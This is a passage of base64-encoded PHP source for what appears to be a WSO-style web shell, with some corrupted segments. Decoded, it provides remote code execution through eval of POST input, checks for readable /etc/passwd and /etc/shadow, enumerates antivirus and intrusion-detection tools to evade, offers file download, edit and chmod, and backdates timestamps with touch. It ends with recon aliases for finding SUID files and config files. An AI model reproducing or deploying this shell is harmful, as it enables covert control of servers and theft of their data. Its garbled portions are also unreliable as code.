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G9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOw0KICAgICAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOw0KICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOw0KICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJOKWnykNCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsNCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJOKWnykNCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsNCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICTilp8pDQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICTilp87DQogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsNCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOw0KCQkJCXNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZWcygnL2V0Yy9mc3RhYicpKTsNCiAgICAgICAgICAgIH0NCgl9IGVsc2Ugew0KCQlzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7DQoJCXNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsIGljb2KCdDUDg2NicsICdVVEYtOCcsZXgoJ25ldCBhY2NvdWcycpKSk7DQoJCXNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsIGljb2KCdDUDg2NicsICdVVEYtOCcsZXgoJ25ldCB1c2VyJykpKTsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3RpbGaWxlc1Rvb2xzKCkgew0KCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkNCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvdsb2FkJykgew0KCQlpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7DQoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7DQoJCQkJJHR5cGUgPSBAbWltZV9jb2ZWX3R5cGUoJF9QT1NUWydwMSddKTsNCgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsNCgkJCX0gZWxzZQ0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSghQGZlb2YoJGZwKSkNCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfWV4aXQ7DQoJfQ0KCWlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgew0KCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgew0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCgkJCWlmKCRmcCkgew0KCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfQ0KCX0NCgloYXJkSGVhZGVyKCk7DQoJZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKCAhZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkgKSB7DQoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7DQoJCWhhcmRGb290ZXIoKTsNCgkJcmV0dXJuOw0KCX0NCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7DQoJaWYoISR1aWQpIHsNCgkJJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pOw0KCQkkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsNCgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuP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